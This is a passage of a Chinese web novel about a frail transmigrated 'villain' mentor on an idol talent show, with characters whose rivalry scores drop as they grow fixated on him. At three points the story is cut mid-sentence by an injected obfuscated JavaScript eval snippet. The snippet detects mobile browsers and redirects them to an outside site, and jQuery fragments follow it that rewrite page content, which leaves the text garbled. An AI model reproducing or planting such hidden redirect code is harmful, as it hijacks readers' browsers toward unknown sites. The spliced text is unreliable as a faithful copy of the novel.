《男频反派也会深陷修罗场么[快穿]》
1. 第一章
外面的绵绵细雨已经下了一整周了。
江南的春雨或许贵如油,但阴冷也是真的。
格桑坐在导师席的最中间,一边微垂着眼睑听台上练习生不太自然的自我介绍,一边把手往牛仔外套袖子里缩了缩。
似葱尖般白皙的、微透着粉的指尖露出来一小截,就这么蜷缩着拿起笔,在桌上的选手资料纸上写写画画。
那练习生看见他低头写东西,更紧张了,一个打磕巴,把“我今年二十一”说成了“我今年八十一”,台下顿时一片哄笑。
格桑也笑起来。
大屏幕上切了一个格桑的特写,那丝笑意转瞬即逝,像幽夜中的白昙,徒留瞥见那一瞬间绽放的幸运儿用余生漫长的时光回味。
而昙花不会留下一丝余香,更不会眷顾任何一个痴等它的凡人。
这个练习生开始表演,格桑跟其他导师们一样认真观看,等舞台上的人表演结束,格桑作为总导师,客客气气地总结点评。
乍看好像说了很多,细究起来无非是“我能看出你有很多待挖掘的潜力”、“很真诚的表演”、“希望接下来的舞台你能带来更多不一样的表现”……这类换个谁都能套上的套话。
台上的练习生深受鼓舞地顶着C的评级下去了,下午的录制也暂时告一段落。
这种综艺节目往往一录起来就是奔着凌晨两三点去的,是持久战,休息时间都要抓紧保存体力才行。
别的导师都在边吃东西边三三两两聊天,不过没有人邀请格桑加入他们的闲聊。
格桑也不在意,他揉了揉太阳穴,拿起保温杯喝了口热水,靠在椅背上闭目养神。
助理一溜小跑冲过来,嘘寒问暖:水温怎么样?头还疼么?到吃药的时间啦老师快吃药……哎呀手怎么这么冰,暖手宝暖手宝……
格桑就这么听着助理焦急的碎碎念,已经习惯。
没办法,他太弱了。
这个身体二十一岁,比刚刚台上那个练习生也就只大一岁。
但对方还能在舞台上蹦蹦跳跳十多分钟脸不红气不喘——即便舞技堪忧唱得还不如家门口喜鹊——而他,只能病恹恹被人照顾着,走几步路就要停下来歇歇,每天药吃得比饭都多。
助理从他码放得满满当当的药盒里熟练地每格拿几颗,最后汇成一把,用面纸小心翼翼地包着递到格桑面前。
“来,老师,该吃药了。”
“嗯。”
格桑不以为意地接过,就那么直接就着水全吞下去。
助理看得心惊胆战,给他顺了半天的气。
……
还没上场的练习生们一团团一簇簇地坐在台下等候席。虽然是第一天正式录制,但大家已经住进宿舍好几天了,多少也形成了些小团体。
卫烽就是个小团体的核心人物,他坐在靠中间的位置,眯眼盯着前面导师席c位上那个人看了半晌。
从他的角度只能看见格桑的后侧面,录制现场演职人员加工作人员乌泱泱几百来号人,他们底下的练习生好多人穿着短袖都热得直冒汗,那人还穿着牛仔外套,在慢吞吞喝热水。
卫烽百无聊赖地举起手,比划了一下格桑的肩胛骨。
隔空拈了拈手指,从虎口中间看过去,就像把那片薄薄的一片肩胛骨轻而易举地捏碎了。
那人的牛仔外套没有扣扣子,领口松松地挂在肩膀上,卫烽稍微侧一点身子,就能看见格桑白得晃眼的脖颈处那根一直连到肩胛的、突出的锁骨。
弯刀一样的锁骨,那么锋利,又那么……羸弱。
卫烽的手指微动,心猿意马地想了一下若是摸上那薄薄的肩胛跟锁骨,该是怎样的手感。
不过也只是想了那么两秒。
“看什么呢,阿烽?”
卫烽旁边的人注意到他一直没说话,转头问他。
“没什么。”卫烽放下了手,懒洋洋地耸耸肩,他穿了件黑T,头发很短,将近一米九的身高,配上身上叮叮哐哐的链子,有种天不怕地不怕的酷劲儿。
“就是觉得,现在也是什么人都能当总导师了。”
旁边人愣了下,然后顺着卫烽刚才的视线方向看过去,立马明白了他的意思。
笑道:“他啊。”
短短两个字,一切尽在不言中。
……
格桑吃完药,又小口喝了几口水,助理仿佛生怕他被药噎着,一直在给他拍背顺气。
他摆摆手,示意不用了,助理这才一步三回头地走开。
休息时间快结束了,格桑想趁最后十分钟稍微眯一会儿,不然以他的体力肯定撑不到晚上,结果刚闭上眼睛,脑神经就一抽抽,某个烦人的声音响起来。
【男主卫烽雄竞值:+1】
【爽度:-1】
格桑:“……”
他嘴角抽了抽,无语地从桌上的一叠纸里翻出卫烽的资料,拿起笔,在那张玩世不恭的脸上画了五个红叉。
瞎了的左眼,更瞎的右眼;用来看人的左鼻孔,还是用来看人的右鼻孔;以及不会说话可以闭上的嘴巴。
我叫你再莫名其妙跟我雄竞^_^#
自从被卷进这个【男频反派快穿系统】,格桑总觉得一切都十分不合理。
系统说,他作为被主角团雄竞,用来衬托主角伟岸、增加爽点的男频反派,要想存活下去,唯一的方法就是给男主做小弟,狗腿一点,以“时髦反派投诚成为主角的狗”的爽点,来取代“打脸反派让主角装逼”的爽点。
毕竟男频小说,主打的就是一个主角要从头爽到底,不能憋屈,维护住爽点,世界线才能顺利进行。
格桑一开始也很听话,按照系统说的,努力藏拙,努力舔男主,用自己半截入土的病弱身躯给男主和主角团做卑微小弟。
但是三个世界下来了,那该死的雄竞值不论怎么消也消不完全,爽度也上不去。
该舔的也舔了,该做的都做了,最后还是死不瞑目,第一世为了保护男主被下毒,七窍流血而死;第二世也差不多,为了主角团自我牺牲;第三世他不想再牺牲了,结果被男主猜疑,最后被成为皇帝的男主亲自处以极刑……
系统宽慰他:【往好了想,虽然你死得很惨,但你一死剧情爽度就唰唰唰提升了啊!读者爽到了,你的死就很有价值,也维护了世界线稳定!】
格桑:“呵呵。”
他还在自己的世界做皇储的时候,某天心血来潮指挥手下替他在荒星捡了个人。
捡回去也不知道该让他做什么,就天天让他讲荒星的故事哄自己睡觉。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093458|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那人很木讷,故事讲得也无趣,愣是把对于格桑来说很新奇的事物说得乏善可陈。
格桑就很来气:“怎么,在我这里待得不高兴么?摆个死人脸给谁看?”
“不,很高兴。”
一开始格桑以为他又在敷衍自己,冷笑两声,翻过身去不再搭理他,结果那人坐在他身后还在认真地说:
“在这里,每天有饭吃,有床睡,还有有顶的房子住……对我来说,这样的日子是从前从来没有想过的。”
格桑翻了个白眼:“你以前到底过的什么鬼日子。”
那人也听不出格桑是在发脾气,还在认认真真说:“荒星上没有饭吃,植被也少,捡到土吃土,看到树啃树,偶尔能挖到几只虫子,就是难得的大餐了。”
格桑翻回来,纳闷:“连营养液都没有吗?”
彼时他丝毫没有意识到自己问了一句等同于“何不食肉糜”的话,因为那人一点也没生气,只是笑笑:“能喝上营养液的话,那里也不会每年饿死几千万人了。”
“也对哦。”格桑沉吟片刻,脾气来得快去得快,又天真地笑着搂住那人的脖子,开心道,“那你高不高兴?你被我捡回来了,就不会饿死啦。”
“高兴。殿下的恩情,我永世难忘。”
……
格桑皱着眉揉了揉太阳穴。
对于从前的他来说,啃树皮吃虫子,已经是世界上最难以想象的苦难了。
但后来进了这个快穿系统,他居然亲身把各种离奇的苦都吃了个遍。
还好,这个世界至少法制健全,又是娱乐圈文这种题材,总不至于惨到哪去。
系统:【检测到宿主想进一步了解您在本世界线的命运,例行告知:本文反派叶格桑,仗着家世背景优越进入娱乐圈,无才无德,却以前辈自居,看不起主角等人。偏偏叶格桑还吸引了众多不理智低龄粉丝,深受主角阵营所不耻。
【不久后叶格桑在事业上因抄袭和私生活有亏严重跑粉,名气一落千丈,同时家里生意受阻,父母破产自杀,叶格桑经受不住打击,滥交、沉迷毒品,最后被判牢底坐穿,于28岁那年在狱中自杀。】
格桑转了一圈手中的圆珠笔,差点笑出声来。
【吸引了众多不理智低龄粉丝】
也就部分男频作者写的出这种东西,就好像他们自己不想被人喜欢一样。
经过三世下来,格桑已经充分了解了这些男频小说的心理驱动力。
总之帅的美的有钱的有资源的讨女孩子喜欢的,都是作者的假想敌,最后一定是要被打脸的。
他又咳了起来,这次咳得有点凶,格桑拿过面巾纸捂住嘴,再低头看的时候,面巾纸上有淡淡的血丝。
对于这种事,他早已习惯了。
格桑面无表情地把面巾纸扔进了旁边的垃圾桶。
都这样了,这些人还要跟他雄竞呢。
系统又冒出来哪壶不开提哪壶:
【检测到宿主对剧情安排有疑问,特来解释:由于「病弱」是您的初始自带设定,源于宿主您本身,而不是世界线内的原身,所以这个设定无法影响剧情走向,您也不会受到剧情角色的任何怜悯,请知悉。】
格桑:“滚。”
系统:【……已知悉。】
2. 第二章
休息时间结束,新一轮录制开始。
格桑脑袋昏昏沉沉的,刚才那点休息时间对他来说还是太短,身体累得很,但要开始录制了,只能勉强支起身子坐正了些。
这一轮第一个上场的是一家小公司的练习生,五个人,水平一般,还有点怯场,最主要的是公司没给节目组交钱。
几个练习生表演完以后满目腼腆跟期待,但他们想必不知道,等节目播出后,他们的镜头八成会被一剪没。
他们也没必要知道就是了。
即便是对这样的边缘选手,格桑也很是温柔,强撑着身体说了好一番鼓励的套话,练习生们盯着他的眼神都陶醉放光了。
格桑想尽量做一个温柔和善、没有攻击性的老好人。
这样才能尽可能降低雄竞值。
【男主卫烽雄竞值:+1】
【主角阵营五号苏成水雄竞值:+2】
【主角阵营六号费昀雄竞值:+2】
……
【爽度:-2】
格桑:“……”
行。
这组练习生下去了,后面导演喊“67号卫烽准备上台了啊!”
格桑手上的圆珠笔顿了顿,把底下卫烽的那张资料纸提溜出来,证件照脸上的五个红叉很醒目。
卫烽是这本书的男主,家境不下于叶格桑,不同的是,叶格桑进娱乐圈是闲着无聊纯玩票,但卫烽是真来实现自己的事业野心的,两人的境界完全不同。
卫烽是一个人来的,他的公司也没名气,很多人都以为他没有背景,其实是少爷低调罢了。
“我有个小请求。”
格桑正在走神,就听见走到台上的卫烽说,“我这段舞需要一个搭子,我想让叶老师来跟我搭一下行么?”
说是请求,台上的人倒完全没有请求的态度,卫少爷昂着下巴,似笑非笑地紧盯着格桑,那种视线让格桑很不舒服。
但他是男主。
格桑只能笑着说:“好。”
他走上舞台,音乐也很适时地响起来,格桑看过卫烽的资料,这人其实跟爱豆关系不大,他是国外某顶级音乐学院在读生,擅长的是写一些欣赏门槛很高的小众音乐,会吉他跟架子鼓。
这少爷来参加爱豆选秀目的明确——为了吸粉扩圈提升知名度,这是原著小说中男主成为世界级偶像音乐人的战略版图第一步。
他压根没打算出道成团,也并不擅长跳舞。
格桑不知道卫烽葫芦里卖的什么药,他有些警惕,下意识跟卫烽保持了安全距离,在离他一臂远的位置站好。
“你随时可以开始。”他微垂着眼,淡淡道。
……
卫烽俯视着眼前的小导师。
对方像只警惕又敏锐的猫儿,和他保持了微妙的距离,也不跟他有任何对视。
他一米□□的个子,这小导师在他面前娇小得过分,这么近的距离看,比先前远远的比划更显得易碎。
卫烽想起那些关于叶格桑的传闻。
传闻说,他这小导师私底下玩得很开,那方面有瘾,喜欢被男人搞,尤其喜欢个儿高腿长有肌肉有男人味的。仗着自己有钱有名,没少在外面找小白脸伺候自己。
这种充满恶意的娱乐八卦,稍微红点的明星多少都会有,大多都是营销号出一张嘴胡编乱造,正常人都不信。
但不知道是出于什么心态,卫烽挺希望是真的。
他本人,不是正符合那个“传闻中”叶格桑的喜好类型么?
他并没有告诉任何人自己的真实出身,在叶格桑眼里,他应该就是个削尖了脑袋想出道的穷小子,应该正符合他的取向吧?
叶格桑会对自己下手么?
他自然是个钢铁直男,但不知为何,一想到这朵高岭之花也许会因为这种理由多看自己两眼,卫烽莫名地很爽——他看不上叶格桑,却又隐秘地盼望,叶格桑能对自己另眼相待。
【男主卫烽雄竞值:-2】
格桑:?
莫非是因为这人一比划,良心发现两人体型差距太大,丧失了兴致?
那倒也挺好。
“……开始吧。”
卫烽的声音有些沙哑,这边说着话,那边骨节分明的大手已经不由分说地搂上了格桑的腰。
“嘶……”
卫烽太高大了,那只大手随便一握,就握住了格桑的大半截腰。格桑176的身高虽不算很高,但正常来说也不至于显得矮,何况他比例很好,腰线高、腿又直又长,肉眼看上去比实际身高还要高一些。
但在卫烽面前,他就像一个不堪一握的小手办。那只手只是随意掐在他腰上,格桑就知道,那块的皮肤大概率已经青了。
这没轻没重的傻大个。
格桑是很怕疼的,他有些恼怒地抬头瞪了卫烽一眼,收获了后者一个怔愣的眼神。
两人就这么就着音乐随意地跳了一段,说是跳舞,但格桑觉得卫烽根本没有认真跳。
那只手一直盘踞在他的腰侧,时不时捏一把他腰上的软肉,疼得格桑直皱眉头。
等到音乐停下,格桑终于松了口气,迅速跟卫烽重新拉开距离。
台下其他的导师跟学员开始欢呼击掌,格桑整了整被卫烽弄得凌乱的衣服,调整表情应付了主持人几句,然后看都没再看卫烽一眼,匆匆下台。
卫烽双手插兜,望着小导师跑得比兔子还快的背影,舔了舔嘴唇。
手上还弥留着小导师腰间软肉的触感。
他忍不住用手虚虚比划了一下。
那么细……
这么细的腰……做起那事儿来,会不会被折断?
……
格桑重新回到自己的位置上坐好,又听见系统提示。
【男主卫烽雄竞值:-3】
他是真摸不透这个系统。
在之前的三个世界,要想让主角团的雄竞值减少,基本都得靠他去舔。
他这次累疲了摆烂了懒得舔了,男主的雄竞值倒自己降了?
格桑完全琢磨不出卫烽那蠢脑壳里在想什么,他拿起保温杯喝了口水,润了润干涩的嗓子,然后在摄像机拍过来的时候抬头微笑,满脸赞赏的举起写着A的牌子。
台上的卫烽不知为何神色有几分恍惚,看到这个别人梦寐以求的评级也无甚反应。
那双深邃的、有些异域风情的眸子如钩子般锁定了格桑盯了几秒,然后才慢吞吞收回视线,坐到了属于自己评级的位置去。
……
“哎。”
卫烽坐下后,他旁边同为A班的学员神色暧昧不明地碰了碰他的胳膊肘,“跳得不错啊。”
卫烽只是敷衍地点点头,没理他。
他不想一直关注着叶格桑,但他又总控制不住自己的眼睛追着叶格桑跑。
卫烽理解为这是他对这个风评极差又人气极高的小导师的一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093459|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丝好奇。
他旁边的人还在聒噪:“叶格桑跳舞真的挺垃圾的,他刚才都差点倒你身上了,要不是你扶住了,他肯定得出洋相。也是活该,他真的装,明明跟我们差不多大,摆什么前辈派头啊?”
卫烽终于扭头看向他。
“关你屁事?”
“…………?”
骂完人,卫烽又觉得自己好端端的为这点事喷一起比赛的兄弟有点神经,于是他敷衍地拍拍那人的肩膀:“没,我是说叶格桑就是这种人,看笑话就好,不用在意。”
“噢噢噢,对,对。”
两位钢铁直男“兄弟”互相拍拍肩,相视一笑泯恩仇。
……
【男主卫烽雄竞值:-1】
格桑面无表情地整理着资料纸,已经懒得管这莫名其妙的系统提示了。
这莫非就是摆烂的神奇力量么?
在前三个世界,为了避免增加雄竞值,他一直刻意扮丑——易容、化妆、道具、服装……甚至狂吃不动把自己吃成大胖子。
格桑从来就知道自己很美。
所以他才更加拼命遮掩自己的外貌,效果也确实不错,谁见了他那副尊容都不想多看一眼,完美削减了雄竞值。
但现在他已经摆烂了,也不愿再刻意扮丑了,主角的雄竞值居然还能莫名其妙降低。
匪夷所思。
节目录制果然不出意外地持续到了凌晨两点,到最后格桑已经疲惫又难受到几乎说不出话了,却还是敬业地强撑着点评学员,等到导演宣布收工的那一刻,他直接趴在桌上剧烈咳嗽,几乎陷入昏迷。
助理冲过来想抱他,却没有另一个人快。
格桑硬撑着最后一丝气力,迷迷糊糊抬头,看见了卫烽的脸,以及他紧拧着的眉。
“怎么回事?身体这么弱?”
他听见卫烽沉着声嘟囔了一句。
格桑想说你放我下来,但没力气,索性自暴自弃,在散场的人群中,任由卫烽将自己打横抱起。
迷迷糊糊中还自嘲地想,他这应该算是雄竞失败了吧,还让主角充分展现了自己的男人味,雄竞值该下降了吧。
下一秒,果然。
【男主卫烽雄竞值:-2】
【爽度:+2】
都这个点了,录制一结束学员们就摧枯拉朽地回宿舍了,大家也都累坏了。
只有卫烽旁若无人地抱着格桑,穿过临时搭建的长长的走廊,把人一直送到保姆车上。
格桑一直有意识,但又使不上力气,睁开眼的力气都没有,索性就装睡。
“真轻。”他听见卫烽小声说。
搂着他后背跟腿弯的手滚烫。
格桑的助理跟卫烽千恩万谢,拽着他袖子塞给了他一把零食,也没注意卫烽拧起的眉。
保姆车缓缓启动,驶入夜色,路上助理还在夸卫烽这个练习生真是个好人。
格桑从装睡中醒来,偏头从后视镜里看了一眼。
明明保姆车已经开出去很远了,也不知为什么,卫烽还杵在原地,望着他们的车离去的方向,一动不动。
格桑深感无趣地收回了目光。
他旁边的助理还在对卫烽持续夸夸,格桑没好气道:“拿药油来。”
“?”助理,“怎么……你又受伤了?”
格桑掀起上衣,露出腰上一片触目惊心的青紫。
都是卫烽那个混蛋掐出来的。
3. 第三章
格桑从出生的那一天起,就确诊了一种罕见基因病。
多走几步路就发烧,呛口凉风就吐血,碰一下就皮肤青紫。
所以他一直长到十八岁都没离开过皇宫,十八岁那年他终于快病死了,临近死亡之际只觉得天地一片混沌,简短无趣的人生如走马灯在眼前掠过,他平静又有些许不甘地等待死亡的来临。
但死亡并未降临,他被卷入了这个男频快穿世界。
系统说只要在每个世界都消灭雄竞值、刷满爽度,格桑就能回到原来的世界继续活下去,并额外附赠一个健康的身体。
格桑想活。
尤其想要健康地活着。
只可惜,即便在这个快穿世界内,他暂时也还做不到。
瓷胎一般冷白的皮肤上,哪怕是一点点青紫,都像最纯净的雪地被污染了,那一片乌青看着让人心惊。
助理拿了药油,一点一点给格桑涂抹,揉搓。
“嗯…………”
太痛了,格桑浅淡的眉蹙起,双目微垂,脸上泛起不知是因疼痛还是因寒冷而起的潮红,呼吸变得急促。
助理一个大男人,跟着格桑也很多年了,但在那细白温润的皮肤上揉搓,耳边听着格桑的哼声,还是脸颊发热,只能尽快揉完,卖力一点把药油快点揉进去。
“唔……痛……慢点呀。”
格桑红着眼瞪了他一眼。
揉完药油,伤处愈发火辣辣地疼,格桑靠在椅背上闭目养神,任凭保姆车外城市的夜色向后疾退。
系统又冒出来:【宿主,今天收获颇丰,明天请继续努力。】
格桑:【往哪努力?我今天什么也没干。】
系统:【但是主角的雄竞值降低了很多。】
格桑:【那是他有病。】
系统沉默片刻,假装听不懂宿主的情绪,开始出谋划策:【宿主作为主角团的导师,要想降低雄竞值其实是很简单易行的。您只要牢记这套小连招:「狗腿吹捧-疯狂爆灯-亲密接触-甘拜下风」即可。】
格桑:【滚。】
系统:【……】
格桑一点都不想配合,这个系统每个世界都跟他这么说,但最后虽然爽度上来了通关了,他却每次都死得那么惨。
明明他最怕痛了。
为了活下去,所以要忍受一万种痛苦的死法——这合理么?
他已经不想再继续了。
就让这一切在这个世界结束吧。
想通了这点后,格桑便愈发我行我素起来,心理压力也小了许多。
当晚他在酒店睡了个难得的好觉,然后起了个大早,去吃早餐时遇到了节目组的另一个导师,还难得好心情地对他笑了笑,打了个招呼。
这位导师叫宋樑,是古典音乐出身,现在是行业内首屈一指的音乐制作人,也是这个选秀的音乐总监。
宋樑才华横溢,业内无数知名歌手流量爱豆排着队舔着脸求他给自己作曲/制作专辑,但此人性格斯文却冷淡,一曲难求。
一副金丝边眼镜,薄薄的嘴唇,常年挺阔修身的衬衫和条纹西服,明明是十足伟岸高大的身材,但却是一副禁欲系的气质。
这人不太像搞艺术的,倒像金融街精英。
格桑无聊地想。
严格来说宋樑也是主角方一员,因为他从最开始就很欣赏卫烽,一路给了卫烽很多建议跟指导,算是卫烽在文中早期的伯乐。
哦,除此以外,宋樑当然也很看不上叶格桑。
只是宋樑是个体面人,有些心思不会拿到明面上来说罢了。
格桑耸耸肩,不甚在意地拿了餐盘去自助餐台了。
……
宋樑本来在喝咖啡,看到叶格桑跟自己打招呼,动作一顿。
他不喜欢叶格桑,也几乎没有仔细看过他,今天第一次正眼看他,就发现叶格桑穿了身慵懒的褶皱款白衬衣,衬衣在清晨的阳光下有点透,最顶上的两颗扣子解着,阳光就透过窗外的树叶,落在他白皙的锁骨处。
锁骨上,缀了一串莹白的、细细的珍珠项链。
这串项链的存在就像水面上的光斑,让人想顺着波纹探究其下更深邃惑人的东西。
目光难免会在那根过分精巧的锁骨上多停留几秒。
以及,再往下,或许应该有那两粒粉红色的——
宋樑眯起眼,自己都没意识到自己盯着那人看了多久,直到意识到自己脑子里的想法已经冲破了警戒线,才勉强遏制住信马由缰的思绪。
陶瓷小人一样的年轻艺人向他投来一个疑惑的眼神,宋樑直到自己这个行为实在冒昧,这才干咳一声,冷着脸冲对方点了点头,假作只是寻常招呼。
然后,那小人又对他温和地笑了笑。
宋樑的喉结微动,低下头,继续喝他的Espresso。
但兴许是晨间太无聊,他又不是一个喜欢一心多用边吃饭边玩手机的人,喝两口咖啡,注意力就时不时往叶格桑身上飘。
【主角阵营四号宋樑雄竞值:-3】
格桑刚往面包上抹了一点果酱,就听到这么一声,有点惊讶又有点无语——怎么这个剧情里眼高于顶的“艺术家”内心住了个玲娜贝儿么?
只要跟他微笑打招呼就能降雄竞值啊……
这家酒店是节目组给他们定的,很多同僚都住在这里,格桑慢吞吞吃饭的时候又来了好些人,不过没人跟他打招呼,就算有也就是匆匆点个头,就坐到了别的桌子上。
别的桌子渐渐坐满,只有格桑这张桌子,始终只有他孤零零一个人。
纸片一样瘦的人,背后即便透过衬衫,也能看见清晰的蝴蝶骨,一个巴掌大的吐司、一杯热水,吃了大半个小时。
“你……”
格桑还在低头啃吐司,忽然被旁边一道高大的影子挡住了阳光,便懵懵地抬头看过去。
来人是宋樑。
宋樑的早饭其实早就吃完了,但他莫名地不想走,一直坐在旁边状似在跟另一个艺人聊天,实际眼角余光频频往叶格桑身上飘。
他看着叶格桑很费劲地吃了半天才吃下去那么点鸟食,终于憋不住了。
男人的金丝边眼镜反射着阳光,“你是哪不舒服么?”
毕竟昨天夜里这人累昏过去了,还是被学员抱上保姆车的,这事他记得。
当时宋樑内心还暗暗有些鄙夷这人的过分娇气。
“嗯?我没事啊……”叶格桑双眼湿润地仰视着他,眼中有深深的迷茫。
他虽说自己没事,宋樑还是捕捉到了他脸上那一点红晕,不由分说探手摸上了格桑的额头。
柔软细腻的皮肤,像最温润的羊脂白玉,但是微微发烫。
“你发烧了。”宋樑皱眉,“我给你联系医生——”
“不用。”叶格桑打断了他的话,笑了笑,道,“我体质不好,如果前一天累着了,早上刚起床都会有点低烧,等过了中午差不多就好了。不用担心。”
“……”
更让人担心了好么。
这到底是什么糟糕的体质?
宋樑也不知道自己今天到底什么毛病非要多管这个闲事,总之在叶格桑的一再婉拒下,他虽然没有再坚持要送他就医,但还是一路一直跟着叶格桑去了节目录制现场。
叶格桑的保姆车开在前面,他就指挥他的保姆车司机寸步不离地跟在后面。
甚至不惜违反了几次交规被拍照了。
宋樑的经纪人觉得自家老师今天有点奇怪,旁敲侧击问他怎么了,宋樑沉默片刻,揉了揉太阳穴:“不知道,可能今天大脑不太清醒吧。”
嘴上这么说着,手上则摆弄着手机,无意识地打开微博,在搜索框里输入了【叶格桑】三个字。
然后等那个有两千多万粉的红V账号出现的时候,点进去,无意间就往下刷着看了几十条。
宋樑其实是个有些老派的人,他斯文,沉稳,不紧不慢,平时几乎不刷社交媒体。
他不喜欢太浮躁的事物。
而叶格桑,这么长时间以来,就被他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093460|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暗自归纳为“浮躁的事物”之一。
宋樑刷着叶格桑的微博。
叶格桑营业相当频繁,几乎隔几天就会发一组九宫格写真。
宋樑滑到他前几天刚发的微博,发的是他们这个选秀节目彩排的照片。
配文是:【彩排加油,大家也要加油「耶」】
发博时间是凌晨一点多。
宋樑扬了扬眉。
他记得那天,他、别的导师,还有学员们都来彩排了,只有叶格桑缺席,据说叶格桑团队给的理由是他病到来不了,在急诊输液,但包括他在内没人相信,都觉得是此人懒得来彩排的托词。
结果他居然半夜赶来彩排了……?
照片里的叶格桑脸色相当苍白,嘴唇也没有血色,拿着麦站在台上,仿佛悬崖边的芦苇,不堪一折。
却又有一种……艺术性的美。
宋樑点进其中一张叶格桑的特写照片,放大,果然看到了手背上的一片青青红红,甚至还有留置针。
但除了这一张放大仔细观察后能看到外,别的照片根本看不出他生病的痕迹,配文也没有透露任何,这条微博底下的粉丝都在疯狂舔颜,没人发现叶格桑病了。
宋樑的经纪人越看越觉得宋樑今天奇怪,一直在偷摸打量他,没想到他家艺人冷不丁道:“你觉得,一个不被圈内人接纳的人,有多大可能是他真的有问题,又有多大可能,其实是外人的有色眼镜跟以讹传讹?”
经纪人:“…………啊?”
.
【主角阵营四号宋樑雄竞值:-5】
【爽度:+1】
格桑的保姆车拐过最后一个弯,进入录制现场的停车场,他闭眼打盹,已经懒得搭理这些情绪不稳定的角色。
等车停稳,他的助理扶着他下车准备去化妆,格桑打着哈欠,就看到紧跟在后面的宋樑的车,他的这位同僚下车时一反常态地急切。
格桑客气地对他笑了笑,就指挥着助理先走了,没有多做停留。
脸上的笑容也在转身的瞬间消失。
他从大楼玻璃的反光里看到,宋樑就那么一只手插兜,在后面一直默默注视着他。
“宋樑老师怎么了?你们早餐的时候发生了什么吗?”格桑的助理忍不住问。
格桑耸耸肩:“谁知道,闲的。”
.
格桑的单人化妆间里,化妆师一边给他化着妆,节目组pd一边跟他对台本。
“今天要录不同等级学员的练习室,叶老师您负责带A班练习。不过主要的声乐跟舞蹈部分都有专门的幕后老师负责,叶老师您简单指点即可,最重要的还是要有节目效果。”
然后pd又指着台本一点一点细细给格桑讲了具体要做哪些“节目效果”,格桑一一记下。
pd还是有些担心,她是新人,工作上显得格外小心谨慎。这行不好做,大多数艺人即便掰开了揉碎了讲,也很难让他们理解。
而叶格桑,除了出名的专业能力低下外,听说脾气还不小。
生活不易,pd叹气。
……
格桑其实有些疲惫,如果常人早上的电量是100%,他就只有60%。
现在经过跟节目组的工作人员还有艺人的简单社交寒暄后,就只剩了30%。
但他还是深吸了一口气,压下就地撂挑子倒下休息的念头,语句清晰,语速适中地给pd重复了一遍台本细节。
pd随着他的叙述,先是眼睛亮了,然后越来越目瞪口呆。
最后,格桑条理清晰举一反三地陈述完毕,虚弱地咳了几声,拿起保温杯喝水。
他便听见pd小声道:“叶老师,你跟他们说的不一样。您为什么不营销反黑一下啊?”
格桑一笑置之:“怎么?”
小pd认真道:“我虽然入行不久,但是也见过很多艺人了。其中不乏路人缘很好风评极佳的,但说实话,头脑清晰,尊重幕后,脾气也温和的……没有。
“您是唯一一个。”
4. 第四章
小pd的话让格桑愣了一下,随即笑笑,说了句谢谢。
……
只有他自己知道,他哪里是什么温柔好脾气的人。
现在只是工作需要罢了。
从前还在帝国的时候,格桑偶尔夏天苦夏,想吃长在偏远星上的一种冰草。
哪怕是深夜两三点,他也能一通视讯把近卫统领薅起来让他去给自己摘草。
近卫统领刚睡着没多久就去给他摘草,好不容易摘回来,但他又过了那股劲儿,不想吃了。
可是冰草是很好的东西,还娇贵,在帝国不管是放冰库还是种起来都没办法保鲜。
于是格桑就又挥挥手,让近卫统领把冰草送回外星去,重新放回他拔草的地方,种成原样。
完全不管第二天人家必须凌晨四点多起来带兵训练。
他知道的,他是很任性的。
只是经历了前三个世界的磋磨后,他也算后知后觉地学会了保护自己的方法。
.
经过初舞台后选出的A班学员有11人,大家这几天在紧锣密鼓地准备主题曲表演。
跟着幕后老师学完了练完了,还要跟幕前导师上小课。
今天就该上小课了,练习生们听说他们这个班的老师是叶格桑,态度多少有些微妙。
老实人不高兴,因为叶格桑是那几名导师里专业水平最烂的没有之一;
精明的人却在暗喜,因为叶格桑毫无疑问是那几名导师里最有流量的。
流量,意味着镜头,意味着讨论度。
相比之下,专业能力跟风评算得了什么。
这会儿离小课开始还有二十分钟,A班学员们在自己练习。
卫烽独自一人坐在角落,手里拿了杯电解质水,有些心不在焉。
右手手指微微动了动。
指尖跟掌心仿佛还弥留着小导师腰间细嫩皮肤的触感……
怎么能有人的腰这么细?
叶格桑的体重,到底是有多低啊。
难怪好端端的会晕倒……
卫烽正想得出神,手上的电解质水忽然被人拿走了,他拉回思绪,有点不爽被打扰。
皱着眉抬头,站在他面前的是笑眯眯的商承佑。
商承佑是这次的人气练习生,科班出身,专业能力很顶,大家都很服他。
最重要的是,商承佑背后的公司是业内龙头,他本人长得也帅,各方面运营得好,目前粉丝量是全营最高的。
卫烽知道,营里有很多人排着队想跟商承佑组cp。
诚然,大家都是直男,但只要跟另一个同为直男的人走得近点,举止稍微亲密些,就可以收获大量曝光度跟cp粉人气……除非傻子才不愿意。
